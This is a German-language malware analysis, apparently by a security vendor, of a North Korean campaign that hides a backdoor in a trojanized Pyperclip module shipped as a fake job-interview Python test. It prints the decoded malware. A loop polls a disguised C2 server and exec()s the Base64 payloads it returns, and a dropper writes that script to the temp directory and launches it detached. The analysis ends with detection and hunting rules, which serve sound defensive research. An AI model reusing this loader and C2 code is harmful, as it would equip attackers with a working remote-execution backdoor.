Verhaltenskodex: DVRKs Python-gestütztes Eindringen in gesicherte Netzwerke

Präambel

Nur wenige Bedrohungsakteure haben in der Schattenwelt staatlich geförderter Cyberoperationen so viel Aufmerksamkeit und Bekanntheit erlangt wie die Demokratische Volksrepublik Korea (DVRK). Mit der DVRK verbundene Bedrohungsgruppen haben immer wieder den Einsatz von Social-Engineering-Taktiken in Verbindung mit taktischen Fähigkeiten unter Beweis gestellt. An der Spitze ihres Arsenals steht eine unerwartete Waffe: Python.

Diese vielseitige Programmiersprache, die für ihre Zugänglichkeit und Leistungsfähigkeit geschätzt wird, ist zum Werkzeug für DVRK-Agenten geworden, die einen ersten Zugang zu den Zielsystemen suchen. Diese Bedrohungsakteure sind erfolgreich in einige der sichersten Netzwerke der Welt eingedrungen, und zwar durch eine wirkungsvolle Kombination aus sorgfältig ausgearbeiteten Social-Engineering-Schemata und elegant getarntem Python-Code.

In dieser Veröffentlichung wird untersucht, wie die DVRK Social Engineering und Python-basierte Köder für den Erstzugang einsetzt. Aufbauend auf Forschungsergebnissen , die vom Reversing Labs-Team für die Kampagne VMConnect veröffentlicht wurden, untersuchen wir ein sehr aktuelles Beispiel aus der Praxis, analysieren den Code und untersuchen, was diese Angriffe so effektiv macht. Durch das Verständnis dieser Techniken wollen wir Licht in die sich entwickelnde Landschaft staatlich geförderter Cyberbedrohungen bringen und Verteidiger mit dem Wissen ausstatten, um sie zu bekämpfen.

Wichtigste Erkenntnisse

• Die Raffinesse der Social-Engineering-Taktiken der DVRK erfordert oft die Entwicklung langfristiger Persönlichkeiten und gezielter Narrative.
• Die Verwendung von Python wegen seiner einfachen Verschleierung, der umfangreichen Bibliotheksunterstützung und der Fähigkeit, sich mit legitimen Systemaktivitäten zu vermischen.
• Diese Köder belegen die fortlaufende Weiterentwicklung der Techniken der DVRK, was die Notwendigkeit kontinuierlicher Wachsamkeit und Anpassung der Cyberabwehrstrategien unterstreicht.
• Das Python-Skript aus dieser Kampagne enthält Module, die die Ausführung von Systembefehlen sowie das Schreiben und Ausführen lokaler Dateien ermöglichen

RookeryCapital_PythonTest.zip

Dieses Beispiel wird unter dem Deckmantel einer Python-Codierungsherausforderung für ein "Capital One"-Vorstellungsgespräch verteilt. Es enthält ein bekanntes Python-Modul, das auf der Oberfläche unschuldig erscheint. Dieses Modul enthält standardmäßige Funktionen zur Verwaltung der Zwischenablage, beherbergt aber auch verschleierten Code, der in der Lage ist, Daten zu exfiltrieren und beliebige Befehle auszuführen.

Mithilfe von Codierungstechniken wie Base64 und ROT13 tarnte der Angreifer gefährliche Funktionen, um sowohl der Erkennung durch menschliche Prüfer als auch durch automatisierte Sicherheitsscans zu entgehen. Der Code stellt eine Verbindung zu einem Remote-Server her und lädt Befehle unter dem Deckmantel von Zwischenablageoperationen herunter und führt sie aus. Es ist ein perfektes Beispiel dafür, wie einfach bösartige Funktionen in Standardcode maskiert werden können.

Wir werden diese Python-Anwendung Zeile für Zeile analysieren und aufdecken, wie sie:

• Stellt eine Verbindung zu einem bösartigen Server her
• Führt versteckte Befehle über Remote Code Execution (RCE) aus
• Verwendet gängige Verschleierungstechniken, um unter dem Radar zu fliegen
• Bettet persistente Wiederholungsmechanismen ein, um eine erfolgreiche Kommunikation zu gewährleisten

PasswordManager.py

Diese "Python Challenge" wird über eine .zip Datei bereitgestellt, die eine Python-Anwendung namens "PasswordManager" enthält. Diese Anwendung besteht hauptsächlich aus einem Hauptskript, PasswordManager.py, und zwei Python-Modulen, Pyperclip und Pyrebase.

Wenn man sich zuerst die README.md Akte ansieht, wird deutlich, dass dies eine Art Interview-Herausforderung oder -Bewertung sein soll, aber was sofort unser Interesse geweckt hat, waren die folgenden Zeilen:

Dies war interessant, da sichergestellt werden sollte, dass die Anwendung ausgeführt wird, bevor der Benutzer Änderungen vornimmt, die dazu führen können, dass bestimmte Funktionen unterbrochen werden oder sich bemerkbar machen.

Die Hauptdatei PasswordManager.py sieht aus wie das Zeug zu einer einfachen Python-Passwort-Manager-Anwendung. Natürlich, wie oben erwähnt, importiert die Anwendung zwei Module von Drittanbietern (Pyperclip und Pyrebase) in dieses Hauptskript.

Pyperclip module

Das Pyperclip -Modul besteht aus zwei Dateien, __init__.py und __main__.py.

In Python bestehen Module oft aus mehreren Dateien, wobei zwei wichtige __init__.py und __main__.pysind. Die __init__.py -Datei initialisiert ein Python-Paket, so dass es beim Import funktioniert, während die __main__.py -Datei es ermöglicht, das Modul als eigenständiges Programm auszuführen.

init.py

__init__.py ist das erste Modul, das importiert wurde und erleichtert vor allem die Bedienung der Zwischenablage auf verschiedenen Plattformen (Windows, macOS, Linux, etc.). Der Großteil dieses Codes ist darauf ausgelegt, die Plattform (Windows, Linux, macOS) zu erkennen und die entsprechenden Funktionen zur Handhabung der Zwischenablage (Kopieren, Einfügen) bereitzustellen, wobei er sich auf native Dienstprogramme (z. B. pbcopy für macOS, xclip für Linux) oder Python-Bibliotheken (z. B. gtk, PyQt4/PyQt5) stützt.

Die Importe offenbaren potenziell interessante oder verdächtige Funktionen aus Bibliotheken wie base64, codecs, subprocessund tempfile. Das base64 -Modul bietet Codierungs- oder Decodierungsfunktionen, mit denen vertrauliche Informationen ausgeblendet oder verschleiert werden können. In Kombination mit codecs, einem weiteren Modul, das häufig zum Codieren oder Dekodieren von Text verwendet wird (in diesem Fall unter Verwendung der ROT13-Chiffre), wird deutlich, dass das Skript Daten manipuliert, um der Erkennung zu entgehen.

Das Vorhandensein des subprocess -Moduls ist besonders besorgniserregend. Dieses Modul ermöglicht es dem Skript, Systembefehle auszuführen, und öffnet damit die Tür für die Ausführung von beliebigem Code auf dem Rechner. Dieses Modul kann externe Skripte ausführen, Prozesse starten oder bösartige Binärdateien installieren.

Bemerkenswert ist auch die Einbeziehung der tempfile module . Dieses Modul erstellt temporäre Dateien, in die geschrieben und ausgeführt werden können, eine gängige Technik, die Malware verwendet, um ihre Spuren zu verwischen. Dieses Modul deutet darauf hin, dass das Skript möglicherweise Inhalte auf die Festplatte schreibt und in einem temporären Verzeichnis ausführt.

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py Importe

Bei der Analyse des Skripts sticht schnell ein großes, base64-codiertes Blob hervor, das der Variablen req_self zugewiesen ist.

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

Die Dekodierung dieses Base64-kodierten Strings offenbart ein völlig neues und in sich geschlossenes Python-Skript mit sehr interessantem Code.

Verschleiertes Python-Skript

Das Skript importiert mehrere Standardbibliotheken (z. B. requests, random platform), die es ihm ermöglichen, zufällige Daten zu generieren, mit dem Betriebssystem zu interagieren, Zeichenketten zu kodieren/dekodieren und Netzwerkanfragen zu stellen.

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

Importe von codierten Python-Skripten

Das Skript enthält zwei Funktionen mit den Namen co und rand_n.

Die Funktion co fungiert als Hilfsfunktion. Diese Funktion prüft das aktuelle Betriebssystem (osn). Es verwendet die Funktion codecs.decode mit ROT13-Codierung, um die Zeichenkette Jvaqbjfzu dekodieren, was zu Windowsführt. Wenn es sich bei dem Betriebssystem um Windows handelt, wird 0; Andernfalls wird 1zurückgegeben.

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co Funktion innerhalb eines codierten Python-Skripts

Die Dekodierung von ROT13 kann einfach über die macOS- oder Linux-CLI oder mit dem ROT13 CyberChef-Rezept erfolgen.

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

Die Funktion rand_n generiert eine 8-stellige Pseudozufallszahl aus der Zeichenkette 123456789. Dies wird wahrscheinlich als Kennung (uid) in der weiteren Kommunikation mit dem Remote-Server verwendet.

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n Funktion innerhalb eines codierten Python-Skripts

Im Anschluss an die Funktionsdeklarationen definiert das Skript einen Satz von Variablen mit hartcodierten Werten, die es verwenden wird.

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

Codierte Python-Skriptvariablen

• uid: Zufällige Kennung, die mit rand_n()
• oi: Die Betriebssystemplattform
• url: Nach der Dekodierung mit ROT13 wird dies in eine URL für einen bösartigen Server aufgelöst (https://akamaitechnologies[.]online). Der Bedrohungsakteur versucht offensichtlich, sich der Erkennung zu entziehen, indem er die URL verschlüsselt und als scheinbar legitimen Dienst (Akamai) tarnt, bei dem es sich um einen bekannten CDN-Anbieter handelt.
• data: Dies ist die Datennutzlast, die an den Server gesendet wird. Es enthält eine decodierte Zeichenfolge (Amazon[.]com), die zufällige UID und das Ergebnis von co(oi) , das überprüft, ob das Betriebssystem Windows ist.

Der letzte Teil des Skripts ist die while-Hauptschleife.

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

Codiertes Python-Skript main while-Schleife

Der erste try-Block sendet eine HTTP POST-Anforderung mit den Headern und Daten an den bösartigen Server (URL). Wenn der Server mit einem anderen Statuscode als 200 OK antwortet, wartet das Skript 60 Sekunden und versucht es erneut.

Else, wenn die Antwort mit dem dekodierten String 'Google.com' beginnt und die Antwortlänge größer als 15 ist, wird ein Base64-codierter Teil der Antwort extrahiert. Anschließend wird dieser Teil dekodiert und das dekodierte Skript mit exec(compile(dec_res, '', 'exec'), globals())ausgeführt. Dies ermöglicht es dem Angreifer, beliebigen Python-Code zu senden, der auf dem Rechner des Opfers ausgeführt wird.

Gegen Ende der Schleife werden globale Variablen mit der zufälligen UID und der URL gesetzt, die für die Kommunikation mit dem Remote-Server verwendet wird. Dies wird später beim Ausführen der heruntergeladenen Payload verwendet.

Nachdem wir nun den Zweck des codierten Python-Skripts verstanden haben, kehren wir zum __inity__.py Skript zurück und schlüsseln die Funktion auf, die den base64-codierten Abschnitt ausführt.

.py

Zurück im __inity__.py Skript können wir nach einem anderen Verweis auf die req_self Variable suchen, um zu sehen, was das Skript mit diesem codierten Python-Skript macht. Wir finden eine einzelne Referenz, die sich in einer Funktion befindet, die als cert_accdefiniert ist.

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()

ct_type = platform.system()

Diese Variable ruft den aktuellen Betriebssystemtyp (z.B. Windows, Linux, Darwin für macOS) mit der Funktion platform.system() ab. Der Wert wird in der Variablen ct_type gespeichert.

l_p = tempfile.gettempdir()

Diese Variable ruft die tempfile.gettempdir() functionauf, die den Pfad zum temporären Verzeichnis des Systems zurückgibt. Dieses Verzeichnis wird häufig zum Speichern temporärer Dateien verwendet, die vom System oder von Programmen erstellt und dann beim Neustart gelöscht werden. Der Wert wird l_pzugeordnet.

Der if-else -Block nutzt die Decodierungsfunktion der Codecs-Bibliothek mit ROT13, um die Zeichenkette Jvaqbjfzu decodieren, die in Windowsübersetzt wird. Dadurch wird überprüft, ob der Systemtyp Windows ist. Wenn es sich um ein Windows-System handelt, hängt der Code eine ROT13-decodierte Zeichenfolge (die sich \rebase.tmp nach der Decodierung als \eronfr.gzcherausstellt) an den temporären Verzeichnispfad l_pan. Anschließend wird ein Befehl header_opserstellt, der wahrscheinlich die dekodierte Variable push_opr (ebenfalls unter Verwendung von ROT13) mit dem Pfad kombiniert.

Wenn es sich nicht um ein Windows-System handelt, hängt es einen Unix-ähnlichen Dateipfad /eronfr.gzc an (/rebase.tmp nach der Dekodierung) an und erstellt auf ähnliche Weise einen Befehl mit push_ops. Dieser Teil des Codes ist so konzipiert, dass je nach Betriebssystem unterschiedliche Nutzlasten oder Befehle ausgeführt werden können.

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

Die nächsten Anweisungen, beginnend mit request_, dienen dazu, das Base64-kodierte Python-Skript, das wir bereits analysiert haben, zu schreiben, um disk in the temporary directory. This code opens a new file in the temporary directory (l_p), which was previously set depending on the system type. The variable req_self' (ebenfalls ein Base64-kodierter String) in seine ursprüngliche Form zu dekodieren. Der decodierte Inhalt wird in die Datei geschrieben, und die Datei wird geschlossen.

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

Der letzte try -Block der Funktion erleichtert die Ausführung des codierten Python-Skripts.

Wenn der Systemtyp Windows ist, versucht der Code, die Datei (die in header_opserstellt wurde) mit dem subprocess.Popen functionauszuführen. Das DETACHED_PROCESS -Flag stellt sicher, dass der Prozess unabhängig vom übergeordneten Prozess ausgeführt wird, wodurch die Nachverfolgung erschwert wird.

Wenn es sich bei dem System nicht um Windows handelt, wird die Datei mit einer anderen Ausführungsmethode (subprocess.Popen mit shell=True) ausgeführt, die bei Unix-ähnlichen Systemen (Linux/macOS) üblicher ist. Das preexec_fn=os.setpgrp macht den Prozess immun gegen Terminal-Interrupts, so dass er im Hintergrund ausgeführt werden kann.

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

Die Funktion cert_acc führt das verschleierte Python-Skript aus, das Befehle abruft, die innerhalb der Funktion cert_acc ausgeführt werden sollen.

Das Skript im Pyperclip Paket weist deutliche Anzeichen von bösartigem Verhalten auf und verwendet Verschleierungstechniken wie ROT13- und Base64-Codierung, um seine wahre Absicht zu verbergen. Es identifiziert das Betriebssystem und passt seine Aktionen entsprechend an, indem es auf die Festplatte schreibt und ein verschleiertes Python-Skript im temporären Verzeichnis des Systems ausführt. Das Skript stellt die Kommunikation mit einem Remote-Server her, ermöglicht die Remote-Code-Ausführung (RCE) und ermöglicht es dem Angreifer, weitere Befehle zu senden. Dieser sorgfältig verborgene Prozess stellt sicher, dass das Skript heimlich ausgeführt wird, ohne entdeckt zu werden, während ein wirksames C2 (Command and Control) über den infizierten Computer aufrechterhalten wird.

Schnittmengen von Kampagnen

Als wir dieses Beispiel fanden, stießen wir auch auf weitere Beispiele, die mit der Codeimplementierung und früheren Kampagnenködern übereinstimmten, die wir in freier Wildbahn beobachtet haben.

Dieser Köder tarnt sich wieder als Python-Programmierherausforderung, die unter dem Deckmantel eines Vorstellungsgesprächs vorgetragen wird. Die Python-Code-Implementierung stimmt genau mit dem Code überein, den wir oben analysiert haben, und basierend auf der Beschreibung und dem Dateinamen stimmt er mit dem von Mandiant als "CovertCatch" beschriebenen Köder überein.

Der nächste Köder unterscheidet sich von den vorherigen, entspricht aber der Python-Code-Implementierung, die wir zuvor gesehen und über die wir geschrieben haben. Letztes Jahr haben wir die Malware "KandyKorn" ans Licht gebracht, die auf Entwickler und Ingenieure von CryptoCurrency abzielte.

Erkennungs-, Jagd- und Abwehrstrategien

Die Erkennung und Eindämmung dieser Art von verschleiertem Schadcode und seines Verhaltens erfordert eine Kombination aus proaktiven Sicherheitsmaßnahmen, Überwachung und Benutzerbewusstsein.

Die beste Strategie zur Eindämmung dieser Köder und Erstzugriffskampagnen besteht darin, Ihre Benutzer über die umfangreichen, gezielten Methoden zu informieren, die Bedrohungsakteure wie die DVRK anwenden, um die Ausführung von Code zu erreichen. Das Wissen über diese Kampagnen und die Fähigkeit, sie zu erkennen, kombiniert mit einem starken Schwerpunkt auf eine ordnungsgemäße Code-Analyse vor der Ausführung, insbesondere wenn es um 3rd-Party-Anwendungen wie diese geht, von "Recruitern", "Entwicklerforen", "Github" usw., wird eine starke Grundlage für die Verteidigung gegen diese Angriffe bieten.

Speziell in Bezug auf dieses Beispiel gibt es einige verschiedene Erkennungen, die wir rund um das Verhalten des Codeausführungsmechanismus und die potenziell resultierenden Anwendungsfälle schreiben können, die mit dieser Aktivität verbunden sind. Diese Abfragen sind zwar macOS-spezifisch, aber Sie können sie so ändern, dass die gleiche Aktivität auch unter Windows erkannt wird.

[Erkennung] Ausführung der Tempfile-Datei der Python-Unterprozess-Shell und Remote-Netzwerkverbindung

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

Diese Regel sucht nach dem spezifischen Verhalten, das angezeigt wird, wenn das __init__.py Beispiel das verschleierte Python-Skript auf den Datenträger schreibt und die subprocess.Popen -Methode verwendet, wobei die Shell-Variable auf True festgelegt wird, um das Python-Skript auszuführen, das eine Verbindung mit einem Remoteserver herstellt, um Befehle abzurufen und auszuführen.

[Jagen] Erstellung einer ausführbaren Python-Datei im temporären Verzeichnis

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

Wenn der Bedrohungsakteur versucht, diese Funktion zu nutzen, um eine ausführbare Nutzlast innerhalb des bereits im Skript angegebenen temporären Verzeichnisses herunterzuladen, können wir diese Regel verwenden, um über Python nach der Erstellung einer ausführbaren Datei in einem temporären Verzeichnis zu suchen.

[Jagen] Interaktive Shell-Ausführung über Python

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

Der Bedrohungsakteur könnte die Ausführungsfunktion nutzen, um eine interaktive Shell auf dem Zielsystem zu öffnen und Aktionen nach der Ausnutzung durchzuführen. Wir haben gesehen, wie nationalstaatliche Akteure eine interaktive Hülle wie diese einsetzen. Wir könnten diese Regel verwenden, um nach der Erstellung dieser interaktiven Shell über Python zu suchen.

[Jagen] Verdächtige Ausführung von untergeordneten Python-Prozessen

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

Der Bedrohungsakteur könnte diese Codeausführungsfunktion auch nutzen, um Systembinärdateien für verschiedene Ziele oder Aktionen nach der Ausnutzung direkt auszuführen. Diese Regel sucht nach der direkten Ausführung einiger lokaler Systemwerkzeuge, die nicht häufig verwendet werden, insbesondere über Python.

Fazit und zukünftige Trends

Wie wir in dieser Analyse untersucht haben, hat sich die Demokratische Volksrepublik Korea (DVRK) zu einer beeindruckenden Kraft bei staatlich geförderten Cyberoperationen entwickelt. Durch die Kombination von Social Engineering mit Python-basierten Ködern hat sich ihr Ansatz in Unternehmen mit weitreichender Sicherheitsreife als erfolgreich erwiesen.

Die Verwendung von Python für den Erstzugriff ist ein Beweis für die sich entwickelnde Natur von Cyber-Bedrohungen. Durch die Nutzung dieser vielseitigen und weit verbreiteten Programmiersprache haben Bedrohungsakteure ein leistungsstarkes Werkzeug gefunden, das sowohl Einfachheit in der Entwicklung als auch Komplexität in der Verschleierung bietet. Diese Doppelnatur von Python in ihren Händen hat sich als große Herausforderung für Cybersicherheitsverteidiger erwiesen.

Unser tiefer Einblick in diese aktuelle Stichprobe hat wertvolle Einblicke in die aktuellen Taktiken, Techniken und Verfahren (TTPs) der Bedrohungsakteure der DVRK geliefert. Diese Fallstudie zeigt beispielhaft, wie Social Engineering und maßgeschneiderte Python-Skripte als hocheffektive Vektoren für den Erstzugriff zusammenarbeiten können.

Mit dem Fortschreiten der staatlich geförderten Cyberoperationen werden die Erkenntnisse aus der Untersuchung der Methoden der DVRK immer wertvoller. Cybersicherheitsexperten müssen wachsam bleiben, wenn es um die doppelte Bedrohung durch Social Engineering und ausgeklügelte Python-basierte Tools geht. Die Abwehr dieser Bedrohungen erfordert einen vielschichtigen Ansatz, der robuste technische Kontrollen, umfassende Mitarbeiterschulungen zu Social-Engineering-Taktiken und fortschrittliche Funktionen zur Bedrohungserkennung umfasst, die sich auf die Identifizierung verdächtiger Python-Aktivitäten konzentrieren.

Auf unserem Weg in die Zukunft ist es von entscheidender Bedeutung, die Zusammenarbeit innerhalb der Cybersicherheits-Community zu fördern und Erkenntnisse und Strategien auszutauschen, um diesen ausgeklügelten Bedrohungen entgegenzuwirken. Wir hoffen, in diesem anhaltenden Cyber-Schachspiel gegen staatlich geförderte Akteure wie die DVRK durch kollektive Wachsamkeit und adaptive Verteidigungsmechanismen die Nase vorn zu haben.

Ressourcen

• Gefälschte Recruiter-Codierungstests zielen auf Entwickler mit bösartigen Python-Paketen ab
• Bedrohungsbewertung: Nordkoreanische Bedrohungsgruppen
• Defied Expectations — Untersuchung von Web3-Raubüberfällen | Google Cloud Blog
• Elastic erwischt DVRK beim Verteilen von KANDYKORN — Elastic Security Labs